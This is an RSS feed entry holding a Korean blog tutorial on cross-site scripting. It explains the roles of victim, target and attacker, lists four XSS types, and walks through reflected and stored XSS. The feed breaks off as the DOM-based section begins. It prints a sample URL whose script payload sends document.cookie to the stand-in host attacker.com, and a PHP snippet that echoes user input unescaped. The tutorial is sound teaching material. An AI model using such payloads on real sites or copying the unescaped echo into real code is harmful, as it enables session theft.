<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>shine's dev log</title>
    <link>https://ddongwon.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sat, 27 Jun 2026 21:19:58 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>dong1</managingEditor>
    <image>
      <title>shine's dev log</title>
      <url>https://tistory1.daumcdn.net/tistory/3803208/attach/24cbddd4e9214c61bc061307bde4cc36</url>
      <link>https://ddongwon.tistory.com</link>
    </image>
    <item>
      <title>XSS (Cross-Site Scripting)의 개념과 종류</title>
      <link>https://ddongwon.tistory.com/130</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. XSS (Cross-Site Scripting)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격은 대표적인 웹어플리케이션 취약점으로, 공격자의 코드를 다른 사이트에 심어서 이를 실행시키는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격의 코드가 다른 사이트에서 실행됨으로써, 공격자는 피해자의 쿠키/세션 정보를 읽거나 웹페이지 내에서 특정 동작을 수행하는 등의 공격을 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 말해서 XSS 공격의 특징은,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) Code injection 공격으로,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) 악의적인 script가 target 웹사이트에 inject 되어,&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) Inject된 코드는 victim이 target 웹페이지를 방문할때, victim의 브라우저에서 실행된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;2. XSS의 원리&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격에는 크게 세 종류의 등장인물이 등장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1b711d;&quot;&gt;1) &lt;b&gt;Victim &lt;/b&gt;user&amp;nbsp;(피해자)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Victim은 XSS 공격을 당해서 자신의 쿠키값과 같은 중요 정보를 탈취당하는 사람이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2) &lt;b&gt;Target&lt;/b&gt; server&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Target은 정상적인 서비스를 하고 있는 웹서버이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 XSS 공격에 취약하다는 가정을 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;3) &lt;b&gt;Attacker&lt;/b&gt; server (공격자)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Attacker는 Target을 이용해서 Victim의 중요 정보를 탈취하는 사람이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;XSS 공격에서 이 세 등장인물들의 관계는 아래와 같은 그림으로 설명할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buqHOx/dJMcaiV6cXL/mBStGoGVpg0N6Cj1XdmMe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buqHOx/dJMcaiV6cXL/mBStGoGVpg0N6Cj1XdmMe0/img.png&quot; data-alt=&quot;[그림 1] XSS의 대표적인 패턴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buqHOx/dJMcaiV6cXL/mBStGoGVpg0N6Cj1XdmMe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuqHOx%2FdJMcaiV6cXL%2FmBStGoGVpg0N6Cj1XdmMe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;478&quot; data-origin-width=&quot;1752&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] XSS의 대표적인 패턴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;[그림 1]에서 보다시피, Attacker는 우선 XSS 취약점이 있는 Target을 찾아야 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 Attacker는 쿠키 등과 같은 중요 정보를 탈취하는 악성 script를 만들어 어떻게든 Target에게 몰래 심는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최종적으로 &lt;span style=&quot;color: #ee2323;&quot;&gt;Attacker&lt;/span&gt;의 목표는, 생성한 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;악성&lt;span&gt; &lt;/span&gt;&lt;/span&gt;script를 &lt;span style=&quot;color: #006dd7;&quot;&gt;Target&lt;/span&gt; 웹사이트에 방문한 &lt;span style=&quot;color: #409d00;&quot;&gt;Victim&lt;/span&gt;의 브라우저에서 실행되도록 하는 것이다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 중요한 점은, &lt;span style=&quot;color: #006dd7;&quot;&gt;Target&lt;/span&gt;을 방문한 상황에서 악성 script가 실행된다는 점이다. 즉, 악성 script가 &lt;span style=&quot;color: #006dd7;&quot;&gt;target&lt;/span&gt;의 context에서 실행된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위의 목표를 달성하기 위한 다양한 방법들이 존재하는데, 이 방법들이 XSS 공격의 다양한 종류들로 분류된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Q. 그냥 Attacker가 취약한 웹페이지 만들고 거기서 공격하면 안되나? Attacker가 만든 웹페이지에 악성 script 숨겨 놓고 Victim이 그 웹페이지에 접속하도록 유도만 하면, 자연스럽게 Victim의 브라우저에서 악성 script가 돌지 않을까?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;A. 우선, 쿠키값과 같은 중요 정보들은 도메인별로 부여되고 관리된다는 점을 기억하자.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;따라서 만약 위와 같이 Attacker의 웹페이지에서 공격을 하면 결국 Attacker가 탈취하는건, Victim이 Attacker의 웹페이지 (attacker.com)에서 받은 쿠키 정보들이다. 그러면 굳이 공격하는 의미가 없게 된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;반대로 Target 웹페이지 (target.com)이 은행이나 온라인 쇼핑과 같은 서비스라고 한다면, 해당 웹페이지의 쿠키값을 탈취하는건 굉장히 Attacker 입장에서 유용한 정보다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그래서 굳이굳이 XSS 취약점이 있는 Target 웹페이지를 찾고, Target을 매개로 공격하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. XSS의 종류&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격의 종류는 공격 방식에 따라 4가지로 분류할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) Reflected XSS (Server-side XSS)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) Stored XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) DOM-based XSS (Client-side XSS)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4) Universal XSS&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4. Reflected XSS (Server-side XSS)&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1457&quot; data-origin-height=&quot;1030&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csaDFD/dJMcaiPkRGR/rMQe1FeUZcyoBD4YQHHYHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csaDFD/dJMcaiPkRGR/rMQe1FeUZcyoBD4YQHHYHk/img.png&quot; data-alt=&quot;[그림 2] Reflected XSS의 대표적인 패턴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csaDFD/dJMcaiPkRGR/rMQe1FeUZcyoBD4YQHHYHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsaDFD%2FdJMcaiPkRGR%2FrMQe1FeUZcyoBD4YQHHYHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;674&quot; height=&quot;476&quot; data-origin-width=&quot;1457&quot; data-origin-height=&quot;1030&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Reflected XSS의 대표적인 패턴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS의 공격 시나리오는 [그림 2]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 1) Attacker는 Victim에게 악성 script가 포함된 악성 링크를 전송한다&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 URL은 보통 아래와 같이 정상적인 웹페이지 뒤에 script가 붙어있는 형태이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;http://target.com/vulnerable.php?user=Alice&amp;lt;/p&amp;gt;&lt;u&gt;&amp;lt;script&amp;gt;fetch_cookie('http://attacker.com&quot;, &lt;b&gt;document.cookie&lt;/b&gt;);&amp;lt;/script&amp;gt;&amp;lt;p&amp;gt;&lt;/u&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 눈여겨봐야 할 것은, 이 URL이 공격자가 만든 attacker.com이 아니라, 공격자와 무관하게 정상적으로 서비스하고 있는 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt; 으로 연결된다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 2) Victim이 악성 URL을 클릭하여, target.com에 접속한다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL에 포함된 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com/vulnerable.php&lt;/span&gt; 파일이 원래 아래와 같이 되어있다고 가정해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 설명하면, url의 query string 중에서 'user' 파라미터를 읽어와서 표시해주는 PHP 코드이다.&lt;/p&gt;
&lt;pre id=&quot;code_1765043786205&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?PHP
  echo &quot;&amp;lt;p&amp;gt; Welcome! Current User: &quot; . $_GET['user'] . &quot;&amp;lt;/p&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 정상적인 접근(&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;http://target.com/vulnerable.php?user=Alice&lt;/span&gt;) 이라면, 'user' 파라미터에 Alice만 들어있으므로 웹페이지에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Welcome! Current User: Alice&quot; 이렇게만 표시되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 3) Target서버가 victim에게 악성 script가 포함된 response를 보낸다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 악성 URL 에 뒤에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;script&amp;gt;fetch_cookie('http://attacker.com&quot;, document.cookie);&amp;lt;/script&amp;gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이렇게 요상한 script태크가 붙어있는걸 볼 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해당 코드는 공격자(&lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt;)에게 victim의 쿠키값을 보내는 악성 script 이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Victim은 이렇게 위험한 악성 script가 포함된 웹페이지 response를 target 서버로부터 받게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Target 서버로부터 받은 response에 포함된 악성 script가 victim의 브라우저에서 실행되면서, 결국 공격자에게 자신이 target.com 에서 사용하는 쿠키값을 &lt;span style=&quot;color: #ee2323;&quot;&gt;attacker.com&lt;/span&gt; 에게 보내게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. Stored XSS&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1657&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zZp9L/dJMcacO9Yaj/8Oa8a0diAsJJ97yaWVBLX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zZp9L/dJMcacO9Yaj/8Oa8a0diAsJJ97yaWVBLX0/img.png&quot; data-alt=&quot;[그림 3] Stored XSS의 대표적 패턴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zZp9L/dJMcacO9Yaj/8Oa8a0diAsJJ97yaWVBLX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzZp9L%2FdJMcacO9Yaj%2F8Oa8a0diAsJJ97yaWVBLX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;839&quot; height=&quot;524&quot; data-origin-width=&quot;1657&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] Stored XSS의 대표적 패턴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS의 공격 시나리오는 [그림 3]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 1) Attacker가 Target 웹서버에 저장된 데이터에 악성 script를 몰래 심는다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS에서 가장 핵심적인 부분이라고 할 수 있다. 어떤식으로든 Attacker는 Target의 웹서버에 악성 script를 심어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 대표적인 예시로는 &lt;span style=&quot;color: #006dd7;&quot;&gt;target.com&lt;/span&gt;이 어떤 게시글을 포스팅하고, 다른사람들이 조회할 수 있는 사이트라고 가정할 때, 공격자가 악성 script가 포함된 게시글을 올리는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 되면,&lt;span style=&quot;color: #006dd7;&quot;&gt; target.com&lt;/span&gt;은 이 글을 자신의 서버에 저장하게 되고, 자연스럽게 target의 웹서버에 script가 몰래 심기게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 2) Victim이 Target의 웹페이지를 방문하기 위해 request를 보낸다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 자세히 말하면, Attacker의 악성 script가 삽입된 Target의 웹페이지를 방문해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 예시에서 공격자가 target.com 에 글을 포스팅했다고 했는데, Victim은 해당 포스팅에 방문을 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전형적인 Reflected XSS와 달리, Stored XSS에서는 Attacker가 만든 악성 링크를 클릭하지 않고, 정상적인 접근으로도 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 3) Target은 Victim에게 웹페이지 response를 보낸다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, 포스팅 웹페이지를 전송하면서, 공격자가 미리 삽입해두었던 악성 script 역시 함께 전송된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #8a3db6;&quot;&gt;&lt;b&gt;Step 4) Victim의 브라우저에서 악성 script가 실행되어, 공격자에게 쿠키 데이터가 전송된다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 시나리오에서는 공격자가 Target의 웹페이지에 포스팅을 올리는 것을 예시로 들었지만, 이외에도 다양한 공격 시나리오가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적으로 2009년에는 트위터 프로필에 URL-encoded 데이터를 저장할 수 있다는 사실을 악용해서, 자기 트위터 프로필에 악성 스크립트를 삽입한 경우도 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어쨌거나 트위터가 사용자의 프로필 정보를 자기 웹서버에 저장할 것이므로, 이것도 결국 Attacker가 Target의 웹서버에 script를 몰래 심은 케이스라고 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;6. DOM-based XSS&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앞서 살펴본 Reflected XSS나 Stored XSS는 공통적으로 Target의 서버에서 Victim에게 response가 넘어올때부터 Attacker가 심어둔 script가 포함되어 있었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만, DOM-based XSS는 Target의 서버에서 response가 올때까지도 악성 script가 포함되어있지 않다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;어떻게 이게 가능할까?&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
